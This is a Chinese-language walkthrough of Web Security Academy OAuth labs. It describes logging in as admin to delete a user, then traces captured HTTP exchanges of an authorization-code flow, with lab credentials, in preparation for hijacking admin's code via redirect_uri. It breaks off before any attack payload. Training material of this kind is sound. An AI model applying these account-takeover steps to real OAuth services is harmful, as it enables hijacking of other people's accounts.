  1. 客户端应用退出登陆,直接使用攻击者社交媒体账号登陆,会发现实际登陆上的是admin账户,使用admin管理权限删除carlos账号即可。

3. 通过redirect_uri劫持OAuth帐户(OAuth account hijacking via redirect_uri)

攻击者窃取用户admin的授权码,并借此登陆账户,使用管理员权限删除carlos账户 攻击者可使用的客户端应用账户 wiener:peter

抓包分析授权码授权方式流程

交互1:点击登录,客户端应用首先向OAuth服务器发送请求。

GET /auth?client_id=up6pjbyzpz48izvajspcc&redirect_uri=https://ac161f371efa484fc0cd6f6500bf009a.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
响应包提供资源所有者登录OAuth账户的url
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_; path=/interaction/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:17 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=B3ArOcTi85E97Xwrgpmc_; path=/auth/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:17 GMT; samesite=lax; secure; httponly
Location: /interaction/B3ArOcTi85E97Xwrgpmc_
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 13:17:17 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/B3ArOcTi85E97Xwrgpmc_">/interaction/B3ArOcTi85E97Xwrgpmc_</a>.

交互2-1:客户端主动跳转至OAuth登录界面

GET /interaction/B3ArOcTi85E97Xwrgpmc_ HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net

响应包

<form autocomplete="off" action="/interaction/B3ArOcTi85E97Xwrgpmc_/login" class="login-form" method="post">
<input required type="text" name="username" placeholder="Enter a username or email" autofocus="on">
<input required type="password" name="password" placeholder="and password" >

<button type="submit" class="login login-submit">Sign-in</button>
</form>

交互2-2: 用户输入账号密码登陆OAuth,用于完成后续的用户确认

POST /interaction/B3ArOcTi85E97Xwrgpmc_/login HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Referer: https://oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net/interaction/B3ArOcTi85E97Xwrgpmc_
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

username=wiener&password=peter
	响应含下一步跳转url
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net/auth/B3ArOcTi85E97Xwrgpmc_
Date: Wed, 25 May 2022 13:17:30 GMT
Connection: close
Content-Length: 0

交互2-3 增加一个session,并含下一步跳转url

GET /auth/B3ArOcTi85E97Xwrgpmc_ HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction_resume=B3ArOcTi85E97Xwrgpmc_ing
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_; path=/interaction/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:31 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=B3ArOcTi85E97Xwrgpmc_; path=/auth/B3ArOcTi85E97Xwrgpmc_; expires=Wed, 25 May 2022 13:27:31 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=x0eVTPB_m7JKuiQCFXeyH; path=/; expires=Wed, 08 Jun 2022 13:17:31 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=x0eVTPB_m7JKuiQCFXeyH; path=/; expires=Wed, 08 Jun 2022 13:17:31 GMT; secure; httponly
Location: /interaction/B3ArOcTi85E97Xwrgpmc_
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 13:17:31 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/B3ArOcTi85E97Xwrgpmc_">/interaction/B3ArOcTi85E97Xwrgpmc_</a>.

交互2-4:展示授权信息详细页

GET /interaction/B3ArOcTi85E97Xwrgpmc_ HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
Cookie: _interaction=B3ArOcTi85E97Xwrgpmc_; _session=x0eVTPB_m7JKuiQCFXeyH; _session.legacy=x0eVTPB_m7JKuiQCFXeyH
<label>WeLikeToBlog</label> is requesting access to:</li>
<ul>

<li>Profile</li>

<li>Email</li>

<form autocomplete="off

标签: 低浓度甲烷传感器gjc412vdc继电器q90fg14hdcrq流量传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台